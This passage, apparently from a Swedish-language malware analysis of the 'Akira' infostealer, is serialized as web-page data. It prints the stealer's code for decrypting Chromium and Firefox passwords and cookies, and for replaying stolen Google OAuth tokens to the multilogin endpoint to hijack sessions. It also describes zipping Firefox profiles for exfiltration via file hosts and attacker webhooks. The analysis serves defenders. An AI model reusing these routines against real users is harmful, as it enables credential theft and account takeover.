cookie-strängen.",[607,6672,6673,2033,6676,586],{},[540,6674,6675],{},"Sparar",[551,6677,6678],{},"Cookies/\u003CBrowserName> Cookies.txt",[862,6680,6682,6683,1113],{"id":6681},"_745-google-sessionsdumpare-chromiumdump_google_sessions","7.4.5 Google-sessionsdumpare (",[551,6684,6685],{},"Chromium.dump_google_sessions",[533,6687,868],{},[533,6689,6690],{},"Den här rutinen, en av de mer avancerade komponenterna, dekrypterar sparade OAuth-token från tabellen token_service. Genom att spela upp dem igen via Googles multilogin-endpoint kan skadeprogrammet återskapa aktiva sessionscookies, vilket gör det möjligt för angripare att kapa Google-konton utan autentiseringsuppgifter. Det illustrerar hur åtkomsttoken har blivit ett förstahandsmål i moderna infostealers.",[588,6692,6694],{"className":4492,"code":6693,"language":4494,"meta":594,"style":594},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\nfor service, blob in cursor.fetchall():\n    iv = blob[3:15]\n    ciphertext = blob[15:-16]\n    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n    token = cipher.decrypt(ciphertext).decode()\n    # Replays via POST to OAuth endpoint\n    response = requests.post(\n        \"https://accounts.google.com/oauth/multilogin\",\n        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n        data={\"source\": \"com.google.Drive\"}\n    )\n    save each account's cookies to file\n",[551,6695,6696,6701,6706,6711,6716,6721,6726,6731,6736,6741,6746,6751,6755],{"__ignoreMap":594},[1684,6697,6698],{"class":1686,"line":1687},[1684,6699,6700],{},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\n",[1684,6702,6703],{"class":1686,"line":2063},[1684,6704,6705],{},"for service, blob in cursor.fetchall():\n",[1684,6707,6708],{"class":1686,"line":2069},[1684,6709,6710],{},"    iv = blob[3:15]\n",[1684,6712,6713],{"class":1686,"line":2075},[1684,6714,6715],{},"    ciphertext = blob[15:-16]\n",[1684,6717,6718],{"class":1686,"line":2396},[1684,6719,6720],{},"    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n",[1684,6722,6723],{"class":1686,"line":2402},[1684,6724,6725],{},"    token = cipher.decrypt(ciphertext).decode()\n",[1684,6727,6728],{"class":1686,"line":3060},[1684,6729,6730],{},"    # Replays via POST to OAuth endpoint\n",[1684,6732,6733],{"class":1686,"line":3856},[1684,6734,6735],{},"    response = requests.post(\n",[1684,6737,6738],{"class":1686,"line":3862},[1684,6739,6740],{},"        \"https://accounts.google.com/oauth/multilogin\",\n",[1684,6742,6743],{"class":1686,"line":4107},[1684,6744,6745],{},"        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n",[1684,6747,6748],{"class":1686,"line":5033},[1684,6749,6750],{},"        data={\"source\": \"com.google.Drive\"}\n",[1684,6752,6753],{"class":1686,"line":5039},[1684,6754,5964],{},[1684,6756,6757],{"class":1686,"line":5045},[1684,6758,6759],{},"    save each account's cookies to file\n",[604,6761,6762,6777,6787,6797],{},[607,6763,6764,3261,6767,6770,6771,6774,6775,586],{},[540,6765,6766],{},"Hämtar",[551,6768,6769],{},"service"," och den råa ",[551,6772,6773],{},"encrypted_token"," från klonen av ",[551,6776,561],{},[607,6778,6779,6782,6783,6786],{},[540,6780,6781],{},"AES-GCM-dekryptering"," med webbläsarens ",[551,6784,6785],{},"Local State","-nyckel.",[607,6788,6789,6792,6793,6796],{},[540,6790,6791],{},"Spelar upp"," de dekrypterade token i en POST-förfrågan till Googles ",[551,6794,6795],{},"multilogin","-API för att återskapa giltiga OAuth-cookies.",[607,6798,6799,6801,6802,586],{},[540,6800,6513],{}," sessionsfiler per konto under ",[551,6803,6804],{},"Cookies/\u003Cdisplay_email> Google Session.txt",[862,6806,6808,6809,1113],{"id":6807},"_746-historikdumpare-chromiumgethistory","7.4.6 Historikdumpare (",[551,6810,6811],{},"Chromium.GetHistory",[533,6813,868],{},[533,6815,6816],{},"Den här funktionen extraherar poster ur surfhistoriken, inklusive URL, titel och besöksfrekvens. Utöver integritetsintrånget hjälper den här datan angripare att förstå offrets beteende, identifiera högvärdiga mål (till exempel bankportaler) eller skräddarsy social engineering-nyttolaster.",[588,6818,6820],{"className":4492,"code":6819,"language":4494,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n).fetchall()\nhistory.sort(key=lambda x: x[3], reverse=True)\nreturn [(url, title, count) for url, title, count, _ in history]\n",[551,6821,6822,6826,6831,6835,6840],{"__ignoreMap":594},[1684,6823,6824],{"class":1686,"line":1687},[1684,6825,6539],{},[1684,6827,6828],{"class":1686,"line":2063},[1684,6829,6830],{},"    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n",[1684,6832,6833],{"class":1686,"line":2069},[1684,6834,6549],{},[1684,6836,6837],{"class":1686,"line":2075},[1684,6838,6839],{},"history.sort(key=lambda x: x[3], reverse=True)\n",[1684,6841,6842],{"class":1686,"line":2396},[1684,6843,6844],{},"return [(url, title, count) for url, title, count, _ in history]\n",[604,6846,6847,6858,6868],{},[607,6848,6849,3261,6851,6854,6855,6857],{},[540,6850,6659],{},[551,6852,6853],{},"url, title, visit_count, last_visit_time"," från varje ",[551,6856,6380],{},"-databas.",[607,6859,6860,6863,6864,6867],{},[540,6861,6862],{},"Sorterar"," posterna efter ",[551,6865,6866],{},"last_visit_time"," i fallande ordning.",[607,6869,6870,3261,6873,586],{},[540,6871,6872],{},"Skriver ut",[551,6874,6875],{},"History/\u003CBrowserName> History.txt",[862,6877,6879,6880,1113],{"id":6878},"_747-autofylldumpare-chromiumgetautofills","7.4.7 Autofylldumpare (",[551,6881,6882],{},"Chromium.GetAutofills",[533,6884,868],{},[533,6886,6887],{},"Autofyllposter, till exempel adresser, namn, e-postadresser och ibland betalningsrelaterad data, hämtas ut från webbläsarens Web Data-lagring. Dessa värden kan verka oviktiga var för sig, men sammantaget ger de en rik profil av offrets identitet och beteende.",[588,6889,6891],{"className":4492,"code":6890,"language":4494,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT name, value FROM autofill\"\n).fetchall()\nfor field, value in results:\n    autofills.append((field.strip(), value.strip()))\n",[551,6892,6893,6897,6902,6906,6911],{"__ignoreMap":594},[1684,6894,6895],{"class":1686,"line":1687},[1684,6896,6539],{},[1684,6898,6899],{"class":1686,"line":2063},[1684,6900,6901],{},"    \"SELECT name, value FROM autofill\"\n",[1684,6903,6904],{"class":1686,"line":2069},[1684,6905,6549],{},[1684,6907,6908],{"class":1686,"line":2075},[1684,6909,6910],{},"for field, value in results:\n",[1684,6912,6913],{"class":1686,"line":2396},[1684,6914,6915],{},"    autofills.append((field.strip(), value.strip()))\n",[604,6917,6918,6930],{},[607,6919,6920,6922,6923,6926,6927,586],{},[540,6921,6766],{}," formulärposter: ",[551,6924,6925],{},"name, value"," från filen ",[551,6928,6929],{},"web data",[607,6931,6932,6934,6935,586],{},[540,6933,6513],{}," ut som ",[551,6936,6937],{},"Autofill/\u003CBrowserName> Autofill.txt",[862,6939,6941,6942,6944,6945,1113],{"id":6940},"_748-firefox-profilinsamlare-geckodriver-grabfirefoxprofiles","7.4.8 Firefox-profilinsamlare (",[551,6943,6254],{}," & ",[551,6946,6947],{},"grabFirefoxProfiles",[533,6949,868],{},[533,6951,6952],{},"Till skillnad från de detaljerade Chromium-rutinerna väljer den här funktionen ett bredare angreppssätt: den komprimerar hela Firefox-profilkatalogen, inklusive sparade inloggningar, cookies och bokmärken, och exfiltrerar den i sin helhet. Det säkerställer att angripare kan analysera eller extrahera data offline och kringgå dekrypteringshinder med kända NSS-verktyg.",[588,6954,6956],{"className":4492,"code":6955,"language":4494,"meta":594,"style":594},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n    for root, dirs, files in os.walk(source_path):\n        zipf.write(each file)\n# Upload via GoFile/File.io, then POST via attacker webhooks\n",[551,6957,6958,6963,6968,6973],{"__ignoreMap":594},[1684,6959,6960],{"class":1686,"line":1687},[1684,6961,6962],{},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n",[1684,6964,6965],{"class":1686,"line":2063},[1684,6966,6967],{},"    for root, dirs, files in os.walk(source_path):\n",[1684,6969,6970],{"class":1686,"line":2069},[1684,6971,6972],{},"        zipf.write(each file)\n",[1684,6974,6975],{"class":1686,"line":2075},[1684,6976,6977],{},"# Upload via GoFile/File.io, then POST via attacker webhooks\n",[604,6979,6980,6989,6999],{},[607,6981,6982,6985,6986,586],{},[540,6983,6984],{},"Zippar"," hela katalogen ",[551,6987,6988],{},"%APPDATA%\\Mozilla\\Firefox\\Profiles",[607,6990,6991,6994,6995,6998],{},[540,6992,6993],{},"Namnger"," den ",[551,6996,6997],{},"%TEMP%\\\u003CComputerName>_Firefox_profiles.zip"," och skickar nedladdningslänken via samma webhook-kanaler.",[607,7000,7001,7004,7005,620,7008,620,7011,7014],{},[540,7002,7003],{},"Anropar"," även samma SQLite-baserade extraktionsfunktioner (",[551,7006,7007],{},"logins.json",[551,7009,7010],{},"cookies.sqlite",[551,7012,7013],{},"places.sqlite",") mot varje Firefox-profil, med hjälp av de NSS-dekrypteringsrutiner som redan finns.",[862,7016,7018],{"id":7017},"_749-sammanfattning-av-extraktionen","7.4.9 Sammanfattning av extraktionen",[533,7020,868],{},[533,7022,7023,7024,620,7026,620,7028,620,7030,558,7032,7035,7036,7039,7040,7042,7043,620,7045,558,7047,7049,7050,7053],{},"Astor.py orkestrerar en omfattande kompromettering av webbläsaren genom att systematiskt samla in varje autentiseringsuppgift och sessionsartefakt hos Chromium-baserade klienter och Firefox-klienter. Den lokaliserar och kopierar säkert varje SQLite-lager, det vill säga ",[551,7025,557],{},[551,7027,561],{},[551,7029,6328],{},[551,7031,6380],{},[551,7033,7034],{},"autofill",", och kör sedan riktade SQL-frågor för att extrahera URL:er, användarnamn, lösenord, kreditkortsuppgifter, cookies, surfhistorik och formulärposter. Lösenord och betalningsdata dekrypteras via AES-GCM (eller Windows DPAPI som fallback), medan cookies packas upp på samma sätt för att avslöja deras klartextvärden. För Google-konton dekrypteras krypterade OAuth-token från ",[551,7037,7038],{},"token_service"," och spelas upp igen mot ",[551,7041,6795],{},"-API:et för att återskapa levande sessionscookies. Slutligen arkiveras Firefox-profiler i sin helhet (inklusive ",[551,7044,7007],{},[551,7046,7010],{},[551,7048,7013],{},") och levereras som ZIP-filer, vilket säkerställer att ingen artefakt lämnas kvar. Den här kedjan körs tyst under ",[551,7051,7052],{},"%TEMP%\\\u003CComputerName>"," och genererar prydligt organiserade utdatafiler för varje datakategori.",[714,7055,7057],{"id":7056},"_75-dekrypteringslogik","7.5 Dekrypteringslogik",[533,7059,720],{},[533,7061,7062],{},"Moderna webbläsare som Chrome och Edge krypterar känslig data, till exempel lösenord, cookies och kreditkortsuppgifter, innan den lagras lokalt. Akira har inbyggda dekrypteringsrutiner som är skräddarsydda för att hantera både äldre och nuvarande Chromium-krypteringsmetoder. Det säkerställer att den kan extrahera klartextdata oavsett systemets patchnivå eller webbläsarversion.",[533,7064,7065],{},"Kärnan i den här processen är extraktion och dekryptering av webbläsarens huvudkrypteringsnyckel, som lagras i en fil som heter Local State. Beroende på webbläsarversion och Windows-version väljer Akira dynamiskt lämplig dekrypteringsmetod:",[533,7067,7068],{},"DPAPI (Data Protection API) används på äldre system, där Chrome lagrar hemligheter skyddade av den aktuella användarens Windows-autentiseringsuppgifter.",[533,7070,7071],{},"AES-GCM används i moderna Chromium-versioner, där en slumpmässigt genererad huvudnyckel i sig krypteras med DPAPI och sedan används för kryptering av användardata inom appen.",[533,7073,7074],{},"Genom att först dekryptera huvudnyckeln i Local State får Akira möjlighet att låsa upp alla webbläsarens hemligheter, vilket banar väg för extraktion av autentiseringsuppgifter, token, cookies och mer.",[533,7076,7077],{},[540,7078,7079],{},"Nyckelextraktion",[588,7081,7083],{"className":4492,"code":7082,"language":4494,"meta":594,"style":594},"local_state_path = os.path.join(user_path, \"Local State\")\nwith open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n    local_state = json.load(f)\nmaster_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[551,7084,7085,7090,7095,7100],{"__ignoreMap":594},[1684,7086,7087],{"class":1686,"line":1687},[1684,7088,7089],{},"local_state_path = os.path.join(user_path, \"Local State\")\n",[1684,7091,7092],{"class":1686,"line":2063},[1684,7093,7094],{},"with open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n",[1684,7096,7097],{"class":1686,"line":2069},[1684,7098,7099],{},"    local_state = json.load(f)\n",[1684,7101,7102],{"class":1686,"line":2075},[1684,7103,7104],{},"master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[533,7106,7107],{},[540,7108,7109],{},"Dekryptering (AES-GCM):",[588,7111,7113],{"className":4492,"code":7112,"language":4494,"meta":594,"style":594},"nonce = value[3:15]\nciphertext = value[15:-16]\ntag = value[-16:]\ncipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\ndecrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[551,7114,7115,7120,7125,7130,7135],{"__ignoreMap":594},[1684,7116,7117],{"class":1686,"line":1687},[1684,7118,7119],{},"nonce = value[3:15]\n",[1684,7121,7122],{"class":1686,"line":2063},[1684,7123,7124],{},"ciphertext = value[15:-16]\n",[1684,7126,7127],{"class":1686,"line":2069},[1684,7128,7129],{},"tag = value[-16:]\n",[1684,7131,7132],{"class":1686,"line":2075},[1684,7133,7134],{},"cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\n",[1684,7136,7137],{"class":1686,"line":2396},[1684,7138,7139],{},"decrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[533,7141,7142,7143,586],{},"Om fallback till DPAPI behövs (på äldre system) används ",[551,7144,7145],{},"win32crypt.CryptUnprotectData()",[533,7147,7148,7154],{},[540,7149,7150,7151,1174],{},"Förklaring av ",[551,7152,7153],{},"decrypt_password_blob","\nDen här funktionen visar hur Akira Stealer dekrypterar varje sparat lösenordsvärde från Chromium-baserade webbläsare. Den hanterar två fall:",[2083,7156,7157,7167],{},[607,7158,7159,7162,7163,7166],{},[540,7160,7161],{},"Windows DPAPI-blobbar"," (äldre eller icke-GCM-krypterad data): Faller tillbaka på systemanropet ",[551,7164,7165],{},"CryptUnprotectData",", som använder användarens Windows-autentiseringsuppgifter för att dekryptera.",[607,7168,7169,7172,7173,7176],{},[540,7170,7171],{},"AES-GCM-krypterade blobbar"," (Chrome v10/v11-format): Tolkar versionsheadern, extraherar IV och autentiseringstaggen, och använder biblioteket ",[551,7174,7175],{},"cryptography"," för att dekryptera nyttolasten på ett säkert sätt.",[588,7178,7180],{"className":4492,"code":7179,"language":4494,"meta":594,"style":594},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\n\ndef decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n    \"\"\"\n    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n\n    Parameters:\n    - buffer: raw encrypted blob from the `password_value` field\n    - key: the master AES key retrieved via DPAPI from Local State\n\n    Returns:\n    - Decrypted UTF-8 plaintext password\n    \"\"\"\n    # 1) DPAPI fallback for non-AES-GCM blobs\n    if not buffer.startswith((b'v10', b'v11')):\n        # Uses Windows CryptUnprotectData under the hood\n        return CryptUnprotectData(buffer)\n\n    # 2) AES-GCM decryption for Chrome v10/v11 format:\n    # Bytes layout:\n    # [0:3]    = version header ('v10'/'v11')\n    # [3:15]   = initialization vector (IV)\n    # [15:-16] = ciphertext payload\n    # [-16:]   = GCM authentication tag\n    iv = buffer[3:15]\n    ciphertext = buffer[15:-16]\n    tag = buffer[-16:]\n\n    # Initialize AES-GCM cipher with extracted IV and tag\n    cipher = Cipher(\n        algorithms.AES(key),\n        modes.GCM(iv, tag),\n        backend=default_backend()\n    )\n    decryptor = cipher.decryptor()\n\n    # Perform decryption; raises if authentication fails\n    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n\n    # Decode to UTF-8, ignoring any stray errors\n    return plaintext.decode('utf-8', errors='ignore')\n",[551,7181,7182,7187,7192,7196,7200,7205,7209,7214,7218,7223,7228,7233,7237,7242,7247,7251,7256,7261,7266,7271,7275,7280,7285,7290,7295,7300,7305,7310,7315,7320,7324,7329,7334,7339,7344,7349,7353,7358,7362,7367,7372,7376,7381],{"__ignoreMap":594},[1684,7183,7184],{"class":1686,"line":1687},[1684,7185,7186],{},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n",[1684,7188,7189],{"class":1686,"line":2063},[1684,7190,7191],{},"from cryptography.hazmat.backends import default_backend\n",[1684,7193,7194],{"class":1686,"line":2069},[1684,7195,3853],{"emptyLinePlaceholder":325},[1684,7197,7198],{"class":1686,"line":2075},[1684,7199,3853],{"emptyLinePlaceholder":325},[1684,7201,7202],{"class":1686,"line":2396},[1684,7203,7204],{},"def decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n",[1684,7206,7207],{"class":1686,"line":2402},[1684,7208,5838],{},[1684,7210,7211],{"class":1686,"line":3060},[1684,7212,7213],{},"    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n",[1684,7215,7216],{"class":1686,"line":3856},[1684,7217,3853],{"emptyLinePlaceholder":325},[1684,7219,7220],{"class":1686,"line":3862},[1684,7221,7222],{},"    Parameters:\n",[1684,7224,7225],{"class":1686,"line":4107},[1684,7226,7227],{},"    - buffer: raw encrypted blob from the `password_value` field\n",[1684,7229,7230],{"class":1686,"line":5033},[1684,7231,7232],{},"    - key: the master AES key retrieved via DPAPI from Local State\n",[1684,7234,7235],{"class":1686,"line":5039},[1684,7236,3853],{"emptyLinePlaceholder":325},[1684,7238,7239],{"class":1686,"line":5045},[1684,7240,7241],{},"    Returns:\n",[1684,7243,7244],{"class":1686,"line":5051},[1684,7245,7246],{},"    - Decrypted UTF-8 plaintext password\n",[1684,7248,7249],{"class":1686,"line":5057},[1684,7250,5838],{},[1684,7252,7253],{"class":1686,"line":5063},[1684,7254,7255],{},"    # 1) DPAPI fallback for non-AES-GCM blobs\n",[1684,7257,7258],{"class":1686,"line":5069},[1684,7259,7260],{},"    if not buffer.startswith((b'v10', b'v11')):\n",[1684,7262,7263],{"class":1686,"line":5075},[1684,7264,7265],{},"        # Uses Windows CryptUnprotectData under the hood\n",[1684,7267,7268],{"class":1686,"line":5081},[1684,7269,7270],{},"        return CryptUnprotectData(buffer)\n",[1684,7272,7273],{"class":1686,"line":5087},[1684,7274,3853],{"emptyLinePlaceholder":325},[1684,7276,7277],{"class":1686,"line":5093},[1684,7278,7279],{},"    # 2) AES-GCM decryption for Chrome v10/v11 format:\n",[1684,7281,7282],{"class":1686,"line":5099},[1684,7283,7284],{},"    # Bytes layout:\n",[1684,7286,7287],{"class":1686,"line":5105},[1684,7288,7289],{},"    # [0:3]    = version header ('v10'/'v11')\n",[1684,7291,7292],{"class":1686,"line":5111},[1684,7293,7294],{},"    # [3:15]   = initialization vector (IV)\n",[1684,7296,7297],{"class":1686,"line":5117},[1684,7298,7299],{},"    # [15:-16] = ciphertext payload\n",[1684,7301,7302],{"class":1686,"line":5784},[1684,7303,7304],{},"    # [-16:]   = GCM authentication tag\n",[1684,7306,7307],{"class":1686,"line":5789},[1684,7308,7309],{},"    iv = buffer[3:15]\n",[1684,7311,7312],{"class":1686,"line":5794},[1684,7313,7314],{},"    ciphertext = buffer[15:-16]\n",[1684,7316,7317],{"class":1686,"line":5799},[1684,7318,7319],{},"    tag = buffer[-16:]\n",[1684,7321,7322],{"class":1686,"line":5805},[1684,7323,3853],{"emptyLinePlaceholder":325},[1684,7325,7326],{"class":1686,"line":5810},[1684,7327,7328],{},"    # Initialize AES-GCM cipher with extracted IV and tag\n",[1684,7330,7331],{"class":1686,"line":5815},[1684,7332,7333],{},"    cipher = Cipher(\n",[1684,7335,7336],{"class":1686,"line":5820},[1684,7337,7338],{},"        algorithms.AES(key),\n",[1684,7340,7341],{"class":1686,"line":5825},[1684,7342,7343],{},"        modes.GCM(iv, tag),\n",[1684,7345,7346],{"class":1686,"line":5830},[1684,7347,7348],{},"        backend=default_backend()\n",[1684,7350,7351],{"class":1686,"line":5835},[1684,7352,5964],{},[1684,7354,7355],{"class":1686,"line":5841},[1684,7356,7357],{},"    decryptor = cipher.decryptor()\n",[1684,7359,7360],{"class":1686,"line":5847},[1684,7361,3853],{"emptyLinePlaceholder":325},[1684,7363,7364],{"class":1686,"line":5853},[1684,7365,7366],{},"    # Perform decryption; raises if authentication fails\n",[1684,7368,7369],{"class":1686,"line":5858},[1684,7370,7371],{},"    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n",[1684,7373,7374],{"class":1686,"line":5863},[1684,7375,3853],{"emptyLinePlaceholder":325},[1684,7377,7378],{"class":1686,"line":5868},[1684,7379,7380],{},"    # Decode to UTF-8, ignoring any stray errors\n",[1684,7382,7383],{"class":1686,"line":5873},[1684,7384,7385],{},"    return plaintext.decode('utf-8', errors='ignore')\n",[714,7387,7389],{"id":7388},"_76-kapning-av-sessionstoken","7.6 Kapning av sessionstoken",[533,7391,720],{},[533,7393,7394,7395,7398],{},"Akira stannar inte vid passiv datainsamling. Den kapar aktivt levande sessionstoken för att utge sig för att vara offret i realtid. Efter att ha extraherat krypterade token från webbläsarens lagring återskapar den nödvändig autentiseringsheader och spelar upp en ",[540,7396,7397],{},"MultiLogin","-förfrågan mot Googles OAuth-endpoint. Kodutdraget nedan illustrerar processen:",[588,7400,7402],{"className":4492,"code":7401,"language":4494,"meta":594,"style":594},"# Build SAPISIDHASH header for Google services\norigin = \"https://accounts.google.com\"\ntimestamp = int(time.time())\n# Compute SHA1 of \"timestamp origin SAPISID\"\npayload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\nsignature = hashlib.sha1(payload).hexdigest()\nheaders = {\n    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n    \"Content-Type\": \"application/json\"\n}\n# Replay MultiLogin to fetch valid session cookies\nresponse = requests.post(\n    \"https://accounts.google.com/accounts/multilogin\",\n    headers=headers,\n    json={\"continue\": \"https://mail.google.com\"}\n)\nif response.status_code == 200:\n    # Victim's cookies now present in response.cookies\n    hijacked_cookies = response.cookies\n",[551,7403,7404,7409,7414,7419,7424,7429,7434,7439,7444,7449,7453,7458,7463,7468,7473,7478,7482,7487,7492],{"__ignoreMap":594},[1684,7405,7406],{"class":1686,"line":1687},[1684,7407,7408],{},"# Build SAPISIDHASH header for Google services\n",[1684,7410,7411],{"class":1686,"line":2063},[1684,7412,7413],{},"origin = \"https://accounts.google.com\"\n",[1684,7415,7416],{"class":1686,"line":2069},[1684,7417,7418],{},"timestamp = int(time.time())\n",[1684,7420,7421],{"class":1686,"line":2075},[1684,7422,7423],{},"# Compute SHA1 of \"timestamp origin SAPISID\"\n",[1684,7425,7426],{"class":1686,"line":2396},[1684,7427,7428],{},"payload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\n",[1684,7430,7431],{"class":1686,"line":2402},[1684,7432,7433],{},"signature = hashlib.sha1(payload).hexdigest()\n",[1684,7435,7436],{"class":1686,"line":3060},[1684,7437,7438],{},"headers = {\n",[1684,7440,7441],{"class":1686,"line":3856},[1684,7442,7443],{},"    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n",[1684,7445,7446],{"class":1686,"line":3862},[1684,7447,7448],{},"    \"Content-Type\": \"application/json\"\n",[1684,7450,7451],{"class":1686,"line":4107},[1684,7452,2405],{},[1684,7454,7455],{"class":1686,"line":5033},[1684,7456,7457],{},"# Replay MultiLogin to fetch valid session cookies\n",[1684,7459,7460],{"class":1686,"line":5039},[1684,7461,7462],{},"response = requests.post(\n",[1684,7464,7465],{"class":1686,"line":5045},[1684,7466,7467],{},"    \"https://accounts.google.com/accounts/multilogin\",\n",[1684,7469,7470],{"class":1686,"line":5051},[1684,7471,7472],{},"    headers=headers,\n",[1684,7474,7475],{"class":1686,"line":5057},[1684,7476,7477],{},"    json={\"continue\": \"https://mail.google.com\"}\n",[1684,7479,7480],{"class":1686,"line":5063},[1684,7481,5252],{},[1684,7483,7484],{"class":1686,"line":5069},[1684,7485,7486],{},"if response.status_code == 200:\n",[1684,7488,7489],{"class":1686,"line":5075},[1684,7490,7491],{},"    # Victim's cookies now present in response.cookies\n",[1684,7493,7494],{"class":1686,"line":5081},[1684,7495,7496],{},"    hijacked_cookies = response.cookies\n",[533,7498,7499],{},"Genom att spela upp den här förfrågan kan Akira utge sig för att vara användarens Gmail, Drive eller vilken annan Google-tjänst som helst som skyddas av en giltig session, helt utan autentiseringsuppgifter. Tekniken utnyttjar Googles egen logik för att acceptera token, vilket gör den nästan omöjlig att skilja från legitimt klientbeteende.",[714,7501,7503],{"id":7502},"_77-firefox-dekryptering","7.7 Firefox-dekryptering",[533,7505,720],{},[533,7507,7508,7509,7512],{},"Gecko-baserade webbläsare som Firefox krypterar sparade autentiseringsuppgifter och cookies med en huvudnyckel som lagras i ",[551,7510,7511],{},"key4.db",". Akira innehåller en förenklad dekrypteringsrutin som speglar Mozillas NSS-logik och hanterar både 3DES- och AES-CBC-varianter utan att utlösa uppmaningen om huvudlösenord. Exempel på användning:",[588,7514,7516],{"className":4492,"code":7515,"language":4494,"meta":594,"style":594},"# Load global Salt and encrypted item from key4.db\ndb = sqlite3.connect(profile_path + \"/key4.db\")\ncursor = db.cursor()\ncursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\nglobal_salt, item2 = cursor.fetchone()\n\n# Decode DER structure and derive key\ndecoded, _ = der_decode(item2)\nentry_salt = decoded[0][1][0].asOctets()\ncipher_text = decoded[1].asOctets()\n# Derive 3DES key\nkey = derive_3des_key(global_salt, master_password, entry_salt)\niv = decoded[0][1][1].asOctets()\n# Decrypt credentials\ncipher = DES3.new(key, DES3.MODE_CBC, iv)\nclear_password = unpad(cipher.decrypt(cipher_text))\n\nprint(\"Decrypted Firefox password:\", clear_password)\n",[551,7517,7518,7523,7528,7533,7538,7543,7547,7552,7557,7562,7567,7572,7577,7582,7587,7592,7597,7601],{"__ignoreMap":594},[1684,7519,7520],{"class":1686,"line":1687},[1684,7521,7522],{},"# Load global Salt and encrypted item from key4.db\n",[1684,7524,7525],{"class":1686,"line":2063},[1684,7526,7527],{},"db = sqlite3.connect(profile_path + \"/key4.db\")\n",[1684,7529,7530],{"class":1686,"line":2069},[1684,7531,7532],{},"cursor = db.cursor()\n",[1684,7534,7535],{"class":1686,"line":2075},[1684,7536,7537],{},"cursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\n",[1684,7539,7540],{"class":1686,"line":2396},[1684,7541,7542],{},"global_salt, item2 = cursor.fetchone()\n",[1684,7544,7545],{"class":1686,"line":2402},[1684,7546,3853],{"emptyLinePlaceholder":325},[1684,7548,7549],{"class":1686,"line":3060},[1684,7550,7551],{},"# Decode DER structure and derive key\n",[1684,7553,7554],{"class":1686,"line":3856},[1684,7555,7556],{},"decoded, _ = der_decode(item2)\n",[1684,7558,7559],{"class":1686,"line":3862},[1684,7560,7561],{},"entry_salt = decoded[0][1][0].asOctets()\n",[1684,7563,7564],{"class":1686,"line":4107},[1684,7565,7566],{},"cipher_text = decoded[1].asOctets()\n",[1684,7568,7569],{"class":1686,"line":5033},[1684,7570,7571],{},"# Derive 3DES key\n",[1684,7573,7574],{"class":1686,"line":5039},[1684,7575,7576],{},"key = derive_3des_key(global_salt, master_password, entry_salt)\n",[1684,7578,7579],{"class":1686,"line":5045},[1684,7580,7581],{},"iv = decoded[0][1][1].asOctets()\n",[1684,7583,7584],{"class":1686,"line":5051},[1684,7585,7586],{},"# Decrypt credentials\n",[1684,7588,7589],{"class":1686,"line":5057},[1684,7590,7591],{},"cipher = DES3.new(key, DES3.MODE_CBC, iv)\n",[1684,7593,7594],{"class":1686,"line":5063},[1684,7595,7596],{},"clear_password = unpad(cipher.decrypt(cipher_text))\n",[1684,7598,7599],{"class":1686,"line":5069},[1684,7600,3853],{"emptyLinePlaceholder":325},[1684,7602,7603],{"class":1686,"line":5075},[1684,7604,7605],{},"print(\"Decrypted Firefox password:\", clear_password)\n",[533,7607,7608,7609,620,7611,558,7613,7615],{},"Med den här rutinen kan Akira transparent dumpa ",[551,7610,7007],{},[551,7612,7010],{},[551,7614,7013],{}," för varje Firefox-profil, och skriva den dekrypterade utdatan till:",[588,7617,7620],{"className":7618,"code":7619,"language":593},[591],"Passwords/Firefox_\u003CProfileName> Passwords.txt\nCookies/Firefox_\u003CProfileName> Cookies.txt\nHistory/Firefox_\u003CProfileName> History.txt\n",[551,7621,7619],{"__ignoreMap":594},[533,7623,7624],{},"Den här metoden kringgår kontroller av huvudlösenord på användarnivå, vilket ger tjuvprogrammet obegränsad åtkomst till alla sparade autentiseringsuppgifter.*",[533,7626,7627],{},[540,7628,7629],{},"4. Filstruktur och namngivning",[588,7631,7634],{"className":7632,"code":7633,"language":593,"meta":594},[591],"\u003CComputerName>.zip\n└── \u003CComputerName>\\\n    ├── Passwords\\\n    │   ├── Chrome Passwords.txt\n    │   ├── Edge Passwords.txt\n    │   └── …\n    ├── Cookies\\\n    │   ├── Chrome Cookies.txt\n    │   ├── Edge Cookies.txt\n    │   ├── user@example.com Google Session.txt\n    │   └── …\n    ├── CreditCards\\\n    │   ├── Chrome CreditCards.txt\n    │   └── …\n    ├── History\\\n    │   ├── Chrome History.txt\n    │   └── …\n    ├── Autofill\\\n    │   ├── Chrome Autofill.txt\n    │   └── …\n    └── Wallets\\\n        ├── Firefox_Default_profiles.zip\n        ├── Firefox_Profile1_profiles.zip\n        └── …\n",[551,7635,7633],{"__ignoreMap":594},[604,7637,7638,7652,7658],{},[607,7639,7640,7641,7644,7645,7648,7649,2045],{},"Varje 